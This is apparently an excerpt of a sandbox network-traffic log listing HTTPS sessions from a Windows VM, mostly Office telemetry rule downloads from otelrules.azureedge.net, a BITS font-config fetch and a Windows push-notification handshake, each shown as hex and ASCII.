2024-11-19 00:01:33 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:32 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 0f1e6da1-801e-007b-6baf-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000132Z-16547b76f7fhvzzthC1DFW557000000006kg00000000k5nn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:33 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:32 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:33 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:33 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000133Z-16547b76f7ftnm6xhC1DFW9c8c000000064000000000e7bd x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:33 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
96	192.168.2.6	49828	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:33 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-19 00:01:33 UTC	515	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=146592 Date: Tue, 19 Nov 2024 00:01:33 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-19 00:01:33 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:33 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:33 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: ebe65da0-001e-0014-21b1-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000133Z-164f84587bfmxxfphC1DFW3au800000004x000000000w4a3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:33 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:33 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:33 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000133Z-16547b76f7fp6s5dhC1DFWe28g00000003qg00000000pz0v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:33 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:33 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:33 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:33 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: f00fef9b-501e-0029-7e4b-36d0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000133Z-16559997f87vprq2hC1DFWczdn00000000n000000000m4wb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:33 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:33 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:34 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:33 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 75c178ff-801e-0067-31f8-36fe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000133Z-16559997f8799x6whC1DFW9y9w00000000g000000000rd6s x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:34 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:33 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:33 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: cd078e55-e01e-0020-52a2-37de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000133Z-164f84587bffvwt9hC1DFW2ktw000000046000000000v7z8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:34 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49833	40.115.3.253	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:33 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 62 52 6d 32 2b 72 6c 67 5a 55 32 59 4f 43 35 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 61 62 31 30 38 38 35 63 62 62 33 63 36 33 33 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: bRm2+rlgZU2YOC5m.1Context: 9ab10885cbb3c633
2024-11-19 00:01:33 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-19 00:01:33 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 62 52 6d 32 2b 72 6c 67 5a 55 32 59 4f 43 35 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 61 62 31 30 38 38 35 63 62 62 33 63 36 33 33 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 65 70 49 5a 68 4f 45 57 74 71 45 51 48 4a 42 55 30 41 43 72 6b 32 48 6e 48 45 2b 37 77 67 56 73 76 44 79 35 54 5a 43 64 57 37 39 4d 5a 43 58 74 37 52 35 77 34 30 54 6a 42 52 41 58 37 4c 73 4f 57 53 79 6b 76 49 62 4d 30 71 55 55 69 72 50 37 4e 2f 61 51 55 2b 44 36 41 57 6b 79 53 66 50 6b 74 4b 71 53 6b 59 45 39 62 41 66 58 42 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: bRm2+rlgZU2YOC5m.2Context: 9ab10885cbb3c633<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAepIZhOEWtqEQHJBU0ACrk2HnHE+7wgVsvDy5TZCdW79MZCXt7R5w40TjBRAX7LsOWSykvIbM0qUUirP7N/aQU+D6AWkySfPktKqSkYE9bAfXB
2024-11-19 00:01:33 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 62 52 6d 32 2b 72 6c 67 5a 55 32 59 4f 43 35 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 39 61 62 31 30 38 38 35 63 62 62 33 63 36 33 33 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: bRm2+rlgZU2YOC5m.3Context: 9ab10885cbb3c633<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-19 00:01:34 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-19 00:01:34 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 53 30 6c 58 30 68 51 75 4d 55 71 36 67 39 69 6f 54 56 7a 32 43 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: S0lX0hQuMUq6g9ioTVz2CQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:34 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:34 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:34 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 398e56de-301e-001f-6c81-37aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000134Z-16559997f87vprq2hC1DFWczdn00000000qg000000006g87 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:34 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:34 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:34 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:34 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 969097d6-001e-0046-4dc6-37da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000134Z-16547b76f7f9s8x7hC1DFWywrg000000069000000000kh4z x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:34 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
